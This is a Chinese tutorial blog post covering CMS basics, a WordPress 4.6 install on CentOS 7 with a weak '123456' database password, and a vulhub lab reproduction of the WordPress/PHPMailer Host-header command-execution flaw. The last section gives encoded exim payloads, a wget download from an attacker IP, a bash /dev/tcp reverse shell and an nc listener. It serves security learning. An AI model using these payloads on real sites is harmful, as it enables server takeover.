一、内容管理系统(cms)
1.定义
-
CMS是Content Management System的缩写,意为"内容管理系统",是一种帮助用户创建、管理和修改网站内容而无需专业技术知识的软件
。
内容管理系统是一种位于WEB 前端(Web服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet(外网)网站的信息。
内容管理系(CMS)是一种综合性比较强的软件系统,是指在一个合作模式下,用于管理工作流程的一套制度。内容管理系统可以像中央存储器(central repository)一样,将相关内容集中储存,主要有内容收集、内容管理、内容智能和内容发布等四个功能。目前流行的内容管理系统大多实现了SEO,即搜索面向引擎优化的URL。
2.特色
- 面向用户友好
CMS系统存在的目的就是为了方便一些对网站编程、脚本代码不熟悉的人,来用一种比较简单的方式来建立、管理、运营自己的网站。CMS的功能并不只限于文本处理,它还可以处理图片、flash动画、声像流、图像甚至电子邮件档案。
- 更加注重内容
在互联网刚开始的时候,网站都是使用HTML编码方式,采取手动更新页面、手工填充信息,这样非常麻烦。后来慢慢的出现了ASP、PHP、JSP等动态脚本来编写网站,这段时期的网站通过脚本和数据库的交互实现网站数据的传递、方便发布和管理。但这段时期的网站脚本程序的开发,需要很大的成本,正常情况下只有大型网站才会自己开发。而如今,随着CMS程序的出现、发展和开源,任何人都可以使用CMS程序来快速、便捷的创建一个完整的网站。
- 基本上,CMS 平台负责构建和管理网站的所有技术细节。
简单来说,内容管理系统是一种工具,可以帮助您快速构建网站,而无需从头开始编写所有代码(甚至你可以完全不了解代码)不需要您自己通过系统来创建网页、存储图像和其他功能,而是为您搭建好所有基本的基础设施内容,以便您可以专注于网站中更多面向前方的部分。
3.常见的cms
-
(1)
DEDECMS织梦
是国内使用人数相当多的内容管理系统,模板以及开发教程很多,非常适合中小型网站制作建设,但现在已不更新,而且安全问题要站长们自己处理。 -
(2)
帝国CMS
也是老牌的内容管理系统,帝国相比织梦更加的安全可靠,但是使用人数方面就没有使用织梦的多。 -
(3)
WordPress
国外开发的系统,刚开始用来做博客,现在也被广泛应用在企业或CMS网站制作上面,插件以及模板非常的多,扩展能力强,但是由于是国外开发的,所以后台操作方面等可能刚开始用感觉不习惯。 -
(4)
PHPCMS
:PHPCMS V9采用OOP(面向对象)方式进行基础运行框架搭建,非常适合二次开发,代码维护,满足所有网站的应用需求。 -
补充分类
1.企业建站系统:MetInfo(米拓)、蝉知、SiteServer CMS(.net平台)、Oracle甲骨文等;
2.B2C商城系统:商派shopex、ecshop、hishop、xpshop等;
3.门户建站系统:DedeCMS(织梦,PHP+MYSQL)、帝国CMS(PHP+mysql)、PHPCMS、动易、cmstop,dianCMS(易点CMS,.net平台)等;
4.博客系统:wordpress、Z-Blog等;
5.论坛社区:discuz、phpwind、wecenter等;
6.问答系统:Tipask、whatsns等;
7.知识百科系统:HDwiki;
8.B2B门户系统:destoon、B2Bbuilder、友邻B2B等;
9.人才招聘网站系统:骑士CMS、PHP云人才管理系统;
10.房产网站系统:FangCms等;
11.在线教育建站系统:kesion(科汛,ASP)、EduSoho网校;
12.电影网站系统:苹果cms、ctcms、movcms等;
13.小说文学建站系统:JIEQI CMS;
14.政府网站群系统:JEECMS
二、CentOS 7上安装WordPress
1.搭建Wordpress服务器环境需求
php 5.2.4 或者更高版本、MySQL 5.0 或者更高版本。
mysql -V
-
php -v
- 注意
安装LAMP服务器
(这里我已经安过) - LAMP即由linux、apache、mysql、php构成的服务器环境。
2.安装WordPress
- 首先要做的是去WordPress的下载页面 并下载我们需要的版本的WordPress,我这里为4.6
- wget https://wordpress.org/wordpress-4.6.zip
- 将WordPress归档解压缩到服务器上的文档根目录
unzip -q wordpress-4.6.zip -d /var/www/html
-
cp -a * ..
(cp -a 此选项通常在复制目录时使用,它保留链接、文件属性,并复制目录下的所有内容)
-
chown -R apache:apache /var/www/html
我们需要更改一些文件夹权限 -
mkdir -p /var/www/html/wp-content/uploads
我们需要手动创建上传目录 -
chown -R :apache /var/www/html/wp-content/uploads
允许Apache Web服务器写入uploads目录。通过将此目录的组所有权分配给您的Web服务器来执行此操作,这将允许Apache创建文件和目录。
3.配置WordPress
-
将配置WordPress的主配置文件,我们需要配置它的基本参数,以便可以与数据库和用户连接
-
在wordpress目录下
mv wp-config-sample.php wp-config.php
-
创建配置WordPress数据库
-
mysql -u root -p
-
建立wordpress数据库
-
create user root1@localhost identified by '123456';
创建wordpress数据库账户&&设置密码 -
GRANT ALL PRIVILEGES on wordpress.* to "root1"@"localhost" identified by "123456";
授予wordpress数据库账户在wordpress数据库上所需权限 -
flush privileges;
刷新数据库缓存 -
修改配置文件,以便可以访问数据库
-
修改前
-
根据自己需要修改后
-
:wq!
保存退出
4.配置WordPress的Apache Web服务器
- 为WordPress网站创建Apache虚拟主机
-
vim /etc/httpd/conf.d/vhosts.conf
- 接下来,创建虚拟主机
mkdir /etc/httpd/vhosts.d/
-
vim /etc/httpd/vhosts.d/yourdomain.com.conf
- 添加以下行
<VirtualHost YOUR_SERVER_IP:80>
ServerAdmin webmaster@yourdomain.com
DocumentRoot "/var/www/html/"
ServerName yourdomain.com
ServerAlias www.yourdomain.com
ErrorLog "/var/log/httpd/yourdomain.com-error_log"
CustomLog "/var/log/httpd/yourdomain.com-access_log" combined
<Directory "/var/www/html/">
DirectoryIndex index.html index.php
Options FollowSymLinks
AllowOverride All
Require all granted
</Directory>
</VirtualHost>
-
保存并关闭文件,重新启动apache服务以使更改生效
-
systemctl restart httpd
-
接下来,允许服务器防火墙中的Apache端口
-
重启相关服务
-
systemctl restart httpd.service
-
systemctl restart mysqld.service
5.访问WordPress
- 默认情况下,WordPress将在HTTP端口80上可用。
-
http://你的IP地址或域名/wp-admin/
访问 就进入了word press安装页面了,照着要求填写就行了。 -
http://192.168.8.140/wp-admin/setup-config.php
三、WordPress<= 4.6命令执行漏洞vulhub复现
1.漏洞原理
主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4(跟邮箱相关的函数)替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。
- 通俗的讲,就是利用burp suite抓取网站忘记密码通过邮箱或用户名提交获取新密码时的流量包,修改其host值,通过playload攻击载荷来进行文件的注入。
- payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等,也有人把payloads称 为shellcode。Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。
- 影响版本:
- WordPress <= 4.6.0
- PHPMailer < 5.2.18
- 环境:使用vulhub的环境,所有要先安装vulhub
2.环境搭建
-
攻击机:kali(192.168.8.144)
-
靶机:centos7(192.168.8.148)
-
cd /root/vulhub/vulhub-master/wordpress/pwnscriptum
-
docker-compose up -d
以后台的方式运行容器,安装此漏洞环境 -
http://192.168.8.148:8080/wp-admin/install.php
访问地址 -
漏洞点在忘记密码处,输入用户名admin,点击获取新密码
-
http://192.168.8.148:8080/wp-login.php?action=lostpassword
-
打开攻击机kali使用burp suite对靶机进行抓包- 打开攻击机kali使用burp suite对靶机进行抓包
-
为靶机的火狐浏览器的设置里面设置代理,IP为192.168.8.144,端口号为8080
-
抓到包后将其发送到repeater模块
-
但是由于WordPress以及PHPMailer都会防止攻击者注入空字符,并且host字段值中出现’/'会出现请求错误,所以我们要绕过
空格和/
-
构造payload进行测试,主要是利用对
空格和“/”
进行以下转换 -
空格 换为 ${substr{10}{1}{$tod_log}}
substr{10}{1}是指取tod_log函数中的第10位,为空格 -
/ 换为 ${substr{0}{1}{$spool_directory}}
-
初始构造的payload(该payload的作用是在/tmp/下创建yhz的文件夹)
-
target(any -froot@localhost -be ${run{/bin/touch /tmp/yhz}} null)
-
转换之后的payload为
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}yhz}} null)
-
发送拦截的修改过的数据包
-
我们需要满足以下要求才能利用此漏洞
注意:
1.执行的命令不能包含一些特殊的字符,例如:,’,"等。
2.该命令将转换为小写字母
3.该命令需要使用绝对路径
4.需要知道一个现有的用户名,这里是admin
- 然后我们进入靶机环境中查看我们所注入的文件
docker ps -a
-
docker exec -it 7465c48aa3d6 /bin/bash
- 查看/tmp/下创建的yhz文件夹
3.后续利用反弹shell
思路和写入webshell差不多,是先使用curl或wget下载含有执行命令内容的文件,再通过命令执行达到反弹shell的目的
攻击机开启web服务,写反弹shell命令,先用靶机测试一下看看能不能访问,注意关闭防火墙
-
bash -i >&/dev/tcp/192.168.8.144/7777 0>&1
#反弹shell命令,ip填的是攻击机的ip,端口随便设置一个不冲突的就行
- 因此可以利用curl和wget远程下载文件,然后执行getshell构造payload进行远程文件下载
- 上传shell之后,只需执行即可,构造执行shell.txt的payload
- 构造初始的payload
target(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/yy 192.168.8.144/yh1.txt}} null)
- 转换之后的payload
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}yy${substr{10}{1}{$tod_log}}192.168.8.144${substr{0}{1}{$spool_directory}}yh1.txt}} null)
-
在靶机环境查看,已经远程下载了的yy文件
-
上传shell之后,只需执行即可构造执行yyshell.txt的payload
-
target(any -froot@localhost -be ${run{/bin/bash /tmp/yy}} null)
-
转换之后为文章来源:https://www.toymoban.com/news/detail-617986.html
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}yy}} null)
文章来源地址https://www.toymoban.com/news/detail-617986.html
- 同时在kali开启监听
-
nc -vlp 7777
到了这里,关于CMS知识小结及wordpress的安装与漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!